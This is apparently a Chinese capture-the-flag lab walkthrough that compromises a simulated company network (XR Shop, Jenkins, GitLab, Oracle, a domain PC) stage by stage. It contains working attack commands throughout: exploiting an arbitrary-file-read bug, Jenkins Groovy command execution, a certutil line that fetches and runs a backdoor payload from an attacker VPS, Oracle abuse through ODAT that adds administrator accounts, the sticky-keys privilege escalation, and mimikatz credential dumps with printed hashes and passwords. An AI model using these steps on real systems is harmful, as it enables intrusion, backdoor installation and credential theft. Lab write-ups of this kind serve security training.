靶场介绍
第一关的提示
请获取 XR Shop 官网源码的备份文件，并尝试获得系统上任意文件读取的能力。并且，管理员在配置 Jenkins 时，仍然选择了使用初始管理员密码，请尝试读取该密码并获取 Jenkins 服务器权限。Jenkins 配置目录为 C:\ProgramData\Jenkins\.jenkins。第一台39.99.151.70/172.22.14.7
./fscan_mac_arm64 -h 39.99.151.70
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.3
start infoscan
39.99.151.70:80 open
39.99.151.70:3306 open
39.99.151.70:8080 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://39.99.151.70:8080 code:403 len:548 title:None
[*] WebTitle http://39.99.151.70 code:200 len:54646 title:XR SHOP
[+] PocScan http://39.99.151.70/www.zip poc-yaml-backup-filehttp://39.99.151.70/是wordpress站点
http://39.99.151.70:8080是jenkins站点
http://39.99.151.70/www.zip有wordpress的源码
发现WWW/wp-config.php有数据库账密
define( 'DB_NAME', 'wordpress' );
define( 'WP_AUTO_UPDATE_CORE', false );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', '3%I$A*gl&9^b#' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );不过利用不上
第一关的提示，让我尝试获得系统上任意文件读取的能力，尝试读取该密码并获取 Jenkins 的初始管理员密码，我让ai审计一下源码
WWW/tools/content-log.php文件存在任意文件读取漏洞
任意文件读取
<?php
$logfile = rawurldecode( $_GET['logfile'] );
// Make sure the file is exist.
if ( file_exists( $logfile ) ) {
// Get the content and echo it.
$text = file_get_contents( $logfile );
echo( $text );
}
exit;
#代码逻辑
rawurldecode($_GET['logfile'])：对用户输入的logfile参数进行URL解码，例如将%2f解码为/，%2e解码为.等。
file_exists($logfile)：检查解码后的路径对应的文件是否存在。
如果存在，file_get_contents($logfile)读取文件全部内容，并通过echo输出。
最后exit退出脚本。题目已经告诉我Jenkins 配置目录为
C:\ProgramData\Jenkins\.jenkins网上搜索一下Jenkins 的初始管理员密码的存放路径
因此我们这里读取C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword即可
/tools/content-log.php?logfile=C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword
510235cf43f14e83b88a9f144199655b 读取常见flag路径
/tools/content-log.php?logfile=C:/Users/Administrator/flag/flag01.txt
flag01: flag{c0c3a881-4cff-4e5f-88af-a9db194ecaf0} 尝试登陆8080端口的
admin
510235cf43f14e83b88a9f144199655b Manage Jenkins->Script Console，groovy脚本命令执行
println "whoami".execute().text
system权限
上线vshell
println "cmd /c certutil.exe -urlcache -split -f http://vps的ip:8084/swt C:\\Users\\Public\\run.bat && C:\\Users\\Public\\run.bat".execute().text 为什么需要 cmd /c：在 Groovy 中，String.execute() 直接启动程序，不经过 shell，因此无法识别 &&、|、> 等内部操作符。通过 cmd /c 把这些操作符交给 cmd.exe 解析，整个命令才能正确工作。由于 Groovy 字符串中反斜杠是转义字符，所以必须写成 \\ 才能表示一个真正的反斜杠。您也可以使用正斜杠 C:/Users/Public/run.bat 避免转义
内网信息收集
内网网卡是172.22.14.7
C:\Program Files\Jenkins>whoami
nt authority\system
C:\Program Files\Jenkins>ipconfig
Windows IP 配置
以太网适配器 以太网:
连接特定的 DNS 后缀 . . . . . . . :
本地链接 IPv6 地址. . . . . . . . : fe80::80d9:e88:b546:28bb%3
IPv4 地址 . . . . . . . . . . . . : 172.22.14.7
子网掩码 . . . . . . . . . . . . : 255.255.0.0
默认网关. . . . . . . . . . . . . : 172.22.255.253C:\Users\Public>fscan64.exe -h 172.22.14.7/24
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.8.4
start infoscan
(icmp) Target 172.22.14.7 is alive
(icmp) Target 172.22.14.11 is alive
(icmp) Target 172.22.14.16 is alive
(icmp) Target 172.22.14.31 is alive
(icmp) Target 172.22.14.46 is alive
[*] Icmp alive hosts len is: 5
172.22.14.46:135 open
172.22.14.11:445 open
172.22.14.7:445 open
172.22.14.46:139 open
172.22.14.31:139 open
172.22.14.11:139 open
172.22.14.31:135 open
172.22.14.7:139 open
172.22.14.11:135 open
172.22.14.7:135 open
172.22.14.46:80 open
172.22.14.16:80 open
172.22.14.7:80 open
172.22.14.16:22 open
172.22.14.11:88 open
172.22.14.16:8060 open
172.22.14.7:8080 open
172.22.14.7:3306 open
172.22.14.31:1521 open
172.22.14.46:445 open
172.22.14.31:445 open
172.22.14.16:9094 open
[*] alive ports len is: 22
start vulscan
[*] NetInfo
[*]172.22.14.7
[->]XR-JENKINS
[->]172.22.14.7
[*] NetInfo
[*]172.22.14.11
[->]XR-DC
[->]172.22.14.11
[*] NetInfo
[*]172.22.14.46
[->]XR-0923
[->]172.22.14.46
[*] NetInfo
[*]172.22.14.31
[->]XR-ORACLE
[->]172.22.14.31
[*] NetBios 172.22.14.46 XIAORANG\XR-0923
[*] NetBios 172.22.14.11 [+] DC:XIAORANG\XR-DC
[*] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[*] WebTitle http://172.22.14.16:8060 code:404 len:555 title:404 Not Found
[*] WebTitle http://172.22.14.7:8080 code:403 len:548 title:None
[*] WebTitle http://172.22.14.7 code:200 len:54603 title:XR SHOP
[*] WebTitle http://172.22.14.46 code:200 len:703 title:IIS Windows Server
[*] WebTitle http://172.22.14.16 code:302 len:99 title:None 跳转url: http://172.22.14.16/users/sign_in
[*] WebTitle http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
[+] PocScan http://172.22.1.7/www.zip poc-yaml-backup-file
信息整理一下
[*]172.22.14.7
[->]XR-JENKINS (已经拿下入口机)
[*]172.22.14.31
[->]WORKGROUP\XR-ORACLE
[*]172.22.14.46
[->]XIAORANG\XR-0923
IIS Windows Server
[*]172.22.14.11
[->]DC:XIAORANG\XR-DC
[*]172.22.14.16
http://172.22.14.16:8060
http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab隧道搭建
vshell
第二关的提示
管理员为 Jenkins 配置了 Gitlab，请尝试获取 Gitlab API Token，并最终获取 Gitlab 中的敏感仓库。获取敏感信息后，尝试连接至 Oracle 数据库，并获取 ORACLE 服务器控制权限。既然提示了Gitlab，那就打http://172.22.14.16/users/sign_in code:200 len:34961 title:Sign in · GitLab
第二台172.22.14.16
Gitlab仓库源码获取
找到GitLab API的 Token
{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}这是一个加密了的值
这是 Jenkins hudson.util.Secret 加密后生成的 加密 Blob，包含版本号、初始向量（IV）和密文等信息。
要解密该字符串，必须拥有加密时使用的 Jenkins 实例的密钥
但是我们有Jenkins 的 脚本控制台（Manage Jenkins → Script Console），执行以下 Groovy 代码即可解密
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())
glpat-7kD_qLH2PiQv_ywB9hz2172.22.14.16是Gitlab的部署站点，仓库的通用接口是api/v4/projects/，这里带上刚刚的token访问就可以
└─$ proxychains4 -q curl --silent --header "PRIVATE-TOKEN: glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects/" | jq | grep "http_url_to_repo"
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/internal-secret.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xradmin.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/awenode.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xrwiki.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git",
#--silent：让 curl 不显示进度条和错误信息（但正常输出响应体）。
#--header "PRIVATE-TOKEN: glpat-..."：添加一个 HTTP 请求头，键为 PRIVATE-TOKEN，值为 GitLab 的个人访问令牌
#/api/v4/projects/：GitLab API v4 的端点，用于列出当前用户有权限访问的所有项目
#筛选 http_url_to_repo：获取每个 GitLab 项目的 HTTP 克隆地址
#| jq ：jq 是一个轻量级且灵活的命令行 JSON 处理器。这里不带任何参数，仅对 JSON 进行格式化（美化输出）。
#| grep "http_url_to_repo"：grep 过滤包含 "http_url_to_repo" 的行，只显示这些行。由于 jq 格式化后每个键值对独占一行，所#以 grep 能准确提取出所有项目里 http_url_to_repo 字段的行。
#输出解释：
每行是一个 GitLab 项目的 HTTP 克隆地址。 接下来将内容拖下来
proxychains4 -q git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
proxychains4 -q git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
proxychains4 -q git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/awenode.git
proxychains4 -q git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git
proxychains4 -q git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/gitlab-instance-23352f48/Monitoring.git在xradmin/ruoyi-admin/src/main/resources/application-druid.yml找到Oracle的账密
# 数据源配置
spring:
datasource:
type: com.alibaba.druid.pool.DruidDataSource
driverClassName: oracle.jdbc.driver.OracleDriver
druid:
# 主库数据源
master:
url: jdbc:oracle:thin:@172.22.14.31:1521/orcl
username: xradmin
password: fcMyE8t9E4XdsKf@172.22.14.31:1521：数据库服务器的 IP 地址和 端口，默认的 Oracle 端口是 1521。
/orcl：这是数据库的 Service Name（服务名）。要注意，Oracle 还有另一种标识方式叫 SID，它们有所不同。
但是初始化时会报错
ODAT连接oracle数据库
使用odat，使用 all 模式，指定目标IP和数据库SID（orcl）；--sysdba：关键参数，要求以SYSDBA（系统管理员）权限连接
┌──(kali㉿kali)-[~/odat]
└─$ proxychains4 -q python3 odat.py all -s 172.22.14.31 -d orcl -U xradmin -P fcMyE8t9E4XdsKf --sysdba
[+] Target: 172.22.14.31:1521 (SID: orcl) as xradmin/fcMyE8t9E4XdsKf [all]
[+] Checking if target 172.22.14.31:1521 is well configured for a connection...
[+] According to a test, the TNS listener 172.22.14.31:1521 is well configured. Continue...
[1] (172.22.14.31:1521): Is it vulnerable to TNS poisoning (CVE-2012-1675)?
[+] The target is vulnerable to a remote TNS poisoning
[2] (172.22.14.31:1521): Testing all authenticated modules on sid:orcl with the xradmin/fcMyE8t9E4XdsKf account
[2.1] UTL_HTTP library ?
[+] OK
[2.2] HTTPURITYPE library ?
18:49:02 WARNING -: Impossible to fetch all the rows of the query select httpuritype('http://0.0.0.0/').getclob() from dual: `ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1819 ORA-12541: TNS:no listener ORA-06512: at "SYS.HTTPURITYPE", line 34 Help: https://docs.oracle.com/error-help/db/ora-29273/`
[+] OK
[2.3] UTL_FILE library ?
[+] OK
[2.4] JAVA library ?
[+] OK
[2.5] Bypass built in Oracle JVM security (CVE-2018-3004)?
[-] KO
[2.6] DBMSADVISOR library ?
[+] OK
[2.7] DBMSSCHEDULER library ?
[+] OK
[2.8] CTXSYS library ?
[+] OK
[2.9] Hashed Oracle passwords ?
[+] OK
[2.10] Hashed Oracle passwords from history?
[+] OK
[2.11] Hashed Oracle passwords with DBMS_METADATA.GET_DDL ?
[+] OK
[2.12] DBMS_XSLPROCESSOR library ?
[+] OK
[2.13] External table to read files ?
[+] OK
[2.14] External table to execute system commands ?
[+] OK
[2.15] Oradbg ?
[-] KO
[2.16] DBMS_LOB to read files ?
[+] OK
[2.17] SMB authentication capture ?
[+] Perhaps (try with --capture to be sure)
[2.18] Gain elevated access (privilege escalation)?
[2.18.1] DBA role using CREATE/EXECUTE ANY PROCEDURE privileges?
[+] OK
[2.18.2] Modification of users' passwords using CREATE ANY PROCEDURE privilege only?
[-] KO
[2.18.3] DBA role using CREATE ANY TRIGGER privilege?
[-] KO
[2.18.4] DBA role using ANALYZE ANY (and CREATE PROCEDURE) privileges?
[-] KO
[2.18.5] DBA role using CREATE ANY INDEX (and CREATE PROCEDURE) privileges?
[-] KO
[2.19] Modify any table while/when he can select it only normally (CVE-2014-4237)?
[+] Impossible to know
[2.20] Create file on target (CVE-2018-3004)?
[+] OK
[2.21] Obtain the session key and salt for arbitrary Oracle users (CVE-2012-3137)?
[+] Impossible to know if the database is vulnreable to the CVE-2012-3137. You need to run this as root because it needs to sniff authentications to the database
[3] (172.22.14.31:1521): Oracle users have not the password identical to the username ?
The login XRADMIN has already been tested at least once. What do you want to do:TA: 00:00:23
- stop (s/S)
- continue and ask every time (a/A)
- skip and continue to ask (p/P)
- continue without to ask (c/C)
c
[!] Notice: 'SCOTT' account is locked, so skipping this username for password| ETA: 00:12:45
[!] Notice: 'OWBSYS_AUDIT' account is locked, so skipping this username for password 00:07:31
[!] Notice: 'OWBSYS' account is locked, so skipping this username for password ETA: 00:05:16
[!] Notice: 'APEX_030200' account is locked, so skipping this username for password 00:04:01
[!] Notice: 'APEX_PUBLIC_USER' account is locked, so skipping this username for password03:13
[!] Notice: 'FLOWS_FILES' account is locked, so skipping this username for password 00:02:39
[!] Notice: 'SPATIAL_CSW_ADMIN_USR' account is locked, so skipping this username for password
[!] Notice: 'SPATIAL_WFS_ADMIN_USR' account is locked, so skipping this username for password
[!] Notice: 'MDDATA' account is locked, so skipping this username for password ETA: 00:01:20
[!] Notice: 'MDSYS' account is locked, so skipping this username for password| ETA: 00:01:10
[!] Notice: 'SI_INFORMTN_SCHEMA' account is locked, so skipping this username for password:03
[!] Notice: 'ORDPLUGINS' account is locked, so skipping this username for password: 00:00:56
[!] Notice: 'ORDDATA' account is locked, so skipping this username for passwordETA: 00:00:49
[!] Notice: 'ORDSYS' account is locked, so skipping this username for password ETA: 00:00:44
[!] Notice: 'OLAPSYS' account is locked, so skipping this username for passwordETA: 00:00:39
[!] Notice: 'XDB' account is locked, so skipping this username for password | ETA: 00:00:31
[!] Notice: 'CTXSYS' account is locked, so skipping this username for password ETA: 00:00:27
[!] Notice: 'EXFSYS' account is locked, so skipping this username for password ETA: 00:00:24
[!] Notice: 'XS$NULL' account is locked, so skipping this username for passwordETA: 00:00:20
[!] Notice: 'WMSYS' account is locked, so skipping this username for password| ETA: 00:00:17
[!] Notice: 'APPQOSSYS' account is locked, so skipping this username for passwordA: 00:00:15
[!] Notice: 'ORACLE_OCM' account is locked, so skipping this username for password: 00:00:10
[!] Notice: 'DIP' account is locked, so skipping this username for password | ETA: 00:00:07
[!] Notice: 'OUTLN' account is locked, so skipping this username for password| ETA: 00:00:05
100% |#######################################################################| Time: 00:01:03
[-] No found a valid account on 172.22.14.31:1521/sid:orcl with usernameLikePassword module这是以 xradmin 身份登录后，测试各种高危功能是否可用。
| 模块 | 结果 | 含义与风险 |
|---|---|---|
| [2.1] UTL_HTTP | [+] OK | 数据库可以向外发送HTTP请求。这可用于数据外泄、与外部C2服务器通信，或利用内网Web服务。 |
| [2.3] UTL_FILE | [+] OK | 关键发现。数据库可以读写操作系统文件。结合高权限，你可以读取/etc/passwd、数据库密码文件等敏感信息。 |
| [2.4] JAVA | [+] OK | 数据库JVM可用，提供了执行系统命令的另一种强大途径。 |
| [2.7] DBMSSCHEDULER | [+] OK | 关键发现。你之前想用的作业调度器完全可用，这是执行系统命令最直接、最稳定的方法。 |
| [2.13] 外部表读取文件 | [+] OK | 可以利用外部表功能来读取服务器上的任意文件。 |
| [2.14] 外部表执行命令 | [+] OK | 关键发现。表明可以利用外部表功能来执行操作系统命令。 |
| [2.18.1] 权限提升 | [+] OK | 核心结论。确认xradmin拥有CREATE ANY PROCEDURE和EXECUTE ANY PROCEDURE权限，这赋予了它接近DBA的管理能力。 |
| [2.20] 创建文件 | [+] OK | 确认可以利用CVE-2018-3004漏洞在目标上创建文件，可用于写入Webshell或恶意脚本。 |
使用 UTL_FILE 模块来读flag
└─$ proxychains4 -q python3 odat.py utlfile -s 172.22.14.31 -d orcl -U xradmin -P fcMyE8t9E4XdsKf --sysdba --test-module --getFile C:/Users/Administrator/flag flag02.txt flag02.txt
[+] Target: 172.22.14.31:1521 (SID: orcl) as xradmin/fcMyE8t9E4XdsKf [utlfile]
[1] (172.22.14.31:1521): Test if the UTL_FILE library can be used
[1.1] UTL_FILE library ?
[+] OK
[2] (172.22.14.31:1521): Read the flag02.txt file stored in C:/Users/Administrator/flag on the 172.22.14.31 server
[+] Data stored in the flag02.txt file sored in C:/Users/Administrator/flag (copied in flag02.txt locally):
b' __ _ _ (_) _ \n / _` | ___ ___ __| | o O O | | ___ | |__ \n \\__, | / _ \\ / _ \\ / _` | o _/ | / _ \\ | \'_ \\ \n |___/ \\___/ \\___/ \\__,_| TS__[O] |__/_ \\___/ |_.__/ \n_|"""""|_|"""""|_|"""""|_|"""""| {======|_|"""""|_|"""""|_|"""""| \n"`-0-0-\'"`-0-0-\'"`-0-0-\'"`-0-0-\'./o--000\'"`-0-0-\'"`-0-0-\'"`-0-0-\' \n\nflag02: flag{81e09433-e355-4e52-9c10-89344b63b434}\n'
#--test-module：在读取文件前先测试 UTL_FILE 库是否可用
#--getFile：指定要读取的文件路径和本地保存的文件名
#C:/Users/Administrator/flag：目标服务器上的目录路径
#flag02.txt：目标服务器上的文件名使用dbmsscheduler可以执行系统命令
proxychains4 -q python3 odat.py dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net user test2 Abcd1234 /add'
proxychains4 -q python3 odat.py dbmsscheduler -s 172.22.14.31 -p 1521 -d ORCL -U xradmin -P fcMyE8t9E4XdsKf --sysdba --exec 'net localgroup administrators test2 /add'
#-dbmsscheduler：指定使用 Oracle 的 DBMS_SCHEDULER 组件。这是一个功能强大的作业调度器，ODAT 利用它来创建并运行一个执行系统命令的外部作业拿到flag
flag02: flag{81e09433-e355-4e52-9c10-89344b63b434}第三关提示
攻击办公区内网，获取办公 PC 控制权限，并通过特权滥用提升至 SYSTEM 权限。在 gitlab.xiaorang.lab/xrlab/internal-secret.git 项目（“内部机密”🤣 haha）中只有一个存放着主机账号密码凭证的文件：credentials.txt。
在 credentials.txt 文件中找到了域xiaolang主机172.22.14.46— XR-0923 的用户密码：
XR-0923 | zhangshuai | wSbEajHzZs使用RDP连接
第三台172.22.14.46
访问不了administrator文件
查看用户权限，发现这并不是一个域用户，只是个工作组的用户xr-0923\zhangshuai
C:\Users\zhangshuai>whoami /all
用户信息
----------------
用户名 SID
================== =============================================
xr-0923\zhangshuai S-1-5-21-754105099-1176710061-2177073800-1001
组信息
-----------------
组名 类型 SID 属性
====================================== ====== ============ ==============================
Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Desktop Users 别名 S-1-5-32-555 必需的组, 启用于默认, 启用的组
BUILTIN\Remote Management Users 别名 S-1-5-32-580 必需的组, 启用于默认, 启用的组
BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组
NT AUTHORITY\REMOTE INTERACTIVE LOGON 已知组 S-1-5-14 必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组
LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组
NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组
Mandatory Label\Medium Mandatory Level 标签 S-1-16-8192
特权信息
----------------------
特权名 描述 状态
============================= ============== ======
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
用户声明信息
-----------------------
用户声明未知。
已在此设备上禁用对动态访问控制的 Kerberos 支持。以管理员身份运行ps（会增加一个SeRestorePrivilege特权）
使用管理员身份运行powersehll
再执行whoami /priv可以发现多了一个SeRestorePrivilege
之前看到用户是Remote Management Users：组，这个组是专门为 WinRM 和 PowerShell 远程处理设计的。用户是这个组的成员，才有权限通过 WinRM 建立连接，但这也只是必要条件，目标还需开启TCP 5985 端口 (HTTP) 或 5986 端口 (HTTPS)
但我们可以试试
Remote Management Users组——WinRM连接
proxychains4 -q evil-winrm -i 172.22.14.46 -u zhangshuai -p wSbEajHzZs
Evil-WinRM shell v3.9
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\zhangshuai\Documents> whoami
xr-0923\zhangshuai通过Evil-WinRM拿到的shell**（因为这个shell也是powershell，以管理员方式运行的）**，也是可以多一个特权SeRestorePrivilege，并且之前没启用的SeIncreaseWorkingSetPrivilege现在也启用了。总之通过Evil-WinRM可以直接获取到高完整性级别并且启用所有已拥有的特权：
*Evil-WinRM* PS C:\Users\zhangshuai\Documents> whoami /priv
特权信息
----------------------
特权名 描述 状态
============================= ============== ======
SeRestorePrivilege 还原文件和目录 已启用
SeChangeNotifyPrivilege 绕过遍历检查 已启用
SeIncreaseWorkingSetPrivilege 增加进程工作集 已启用提权——SeRestorePrivilege（粘滞键提权）
因为有SeRestorePrivilege，所以能无视ACL修改文件或者编辑注册表
把cmd.exe重命名为sethc.exe，然后在锁屏界面连按五次shift启动sethc提权（因为粘滞键sethc.exe是以system身份启动的）
把原来的粘滞键备份一下sethc.bak，然后把cmd命令改名为sethc.exe
*Evil-WinRM* PS C:\windows> cd C:\windows\system32
*Evil-WinRM* PS C:\windows\system32> ren sethc.exe sethc.bak
*Evil-WinRM* PS C:\windows\system32> ren cmd.exe sethc.exe #将 cmd.exe 重命名为了 sethc.exe原始的 cmd.exe 已经不存在了
这样锁屏后连按5下shift弹出管理员shell
mac电脑的windowsapp无法通过点击睡眠键，但是可以按住command+l来锁屏
或者按下 Win + R，输入 rundll32.exe user32.dll,LockWorkStation 并回车，或者按下 Ctrl + Alt + Delete，然后在弹出的界面中选择“锁定”
type C:\Users\Administrator\flag\flag03.txt
flag{07305cad-6622-4713-958e-5d8ee3679ee1}
第四关提示
尝试接管备份管理操作员帐户，并通过转储 NTDS 获得域管理员权限，最终控制整个域环境。第四台172.22.14.11域控
为了方便操作，直接rdp时上传vshell，然后通过粘滞键提权，以system权限运行vshell后门，然后主动连接它。但是我vshell连上之后，打不开交互式终端
所以先添加个管理员用户吧
net user test2 Abcd1234 /add
net localgroup administrators test2 /add远程登录，把cmd改回去
ren sethc.exe cmd.exe然后运行mimikatz，但是会报错
使用2.2的版本能过https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip
C:\Users\zhangshuai\mimikatz_trunk_2.2\x64>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
Authentication Id : 0 ; 19734623 (00000000:012d205f)
Session : RemoteInteractive from 3
User Name : test2
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/6/27 21:01:50
SID : S-1-5-21-754105099-1176710061-2177073800-1002
msv :
[00000003] Primary
* Username : test2
* Domain : XR-0923
* NTLM : c780c78872a102256e946b3ad238f661
* SHA1 : bc4e7d2a003b79bb6ffdfff949108220c1fad373
tspkg :
wdigest :
* Username : test2
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : test2
* Domain : XR-0923
* Password : (null)
ssp :
credman :
cloudap :
Authentication Id : 0 ; 19720778 (00000000:012cea4a)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/6/27 21:01:50
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 19719388 (00000000:012ce4dc)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/6/27 21:01:50
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
* Password : bb ff 3f 1d 2a 9e 8b f9 3f 79 50 0b 9e 50 4f f9 36 bc 3f 96 72 ba ea 40 f1 8a 8c 8d d1 98 0e ba 65 03 ff bf 31 1d cb d8 d3 67 88 72 6d 36 ab 7c 41 78 09 18 62 ab 4c fc 2e 93 39 83 d1 dc 59 85 af 2e d0 c0 9e ae a3 af d6 c8 f2 4e 36 9e f8 71 66 dc 7a 01 ca f5 22 a3 15 29 51 14 a4 bf 88 b5 f4 5d c5 f9 c7 ea fa 79 43 4b a5 55 43 55 cc 3d 73 87 82 fa 4a 2d 84 05 d9 ba 7f a1 67 5a aa 9c ab e8 a5 11 d8 e6 65 ca 48 ba 25 97 13 9a 28 65 e7 90 cf 16 48 c8 a0 c5 93 08 b6 6f 16 21 ff 49 3c dc 8f 86 14 98 fa 22 53 6b 0f 6e fa 0e 22 d3 df 5e a1 9d 6c a2 cc f9 57 c6 42 1f 2b 28 f1 3a 4f 3c a9 7c 92 c1 70 90 d0 f9 88 2b 06 38 1c af d9 fd 93 c8 8e f0 41 96 3d c3 21 5f 05 e5 4c 7e 88 4a 29 70 f4 c0 92 fe 76 6f 57 46 6f 82 0b af
ssp :
credman :
cloudap :
Authentication Id : 0 ; 7939282 (00000000:007924d2)
Session : RemoteInteractive from 2
User Name : zhangshuai
Domain : XR-0923
Logon Server : XR-0923
Logon Time : 2026/6/27 19:09:53
SID : S-1-5-21-754105099-1176710061-2177073800-1001
msv :
[00000003] Primary
* Username : zhangshuai
* Domain : XR-0923
* NTLM : f97d5a4b44b11bc257a63c3f76f18a9a
* SHA1 : f6ff2714d556240436758527e190e329f05cd43d
tspkg :
wdigest :
* Username : zhangshuai
* Domain : XR-0923
* Password : (null)
kerberos :
* Username : zhangshuai
* Domain : XR-0923
* Password : wSbEajHzZs
ssp :
credman :
cloudap :
Authentication Id : 0 ; 7898873 (00000000:007886f9)
Session : Interactive from 2
User Name : DWM-2
Domain : Window Manager
Logon Server : (null)
Logon Time : 2026/6/27 19:09:52
SID : S-1-5-90-0-2
msv :
[00000003] Primary
* Username : XR-0923$
* Domain : XIAORANG
* NTLM : acd39ecec89593a07192ce511c8651f1
* SHA1 : 1e5167350baf2febac75c89b1cfe74f0928089f4
tspkg :
wdigest :
* Username : XR-0923$
* Domain : XIAORANG
* Password : (null)
kerberos :
* Username : XR-0923$
* Domain : xiaorang.lab
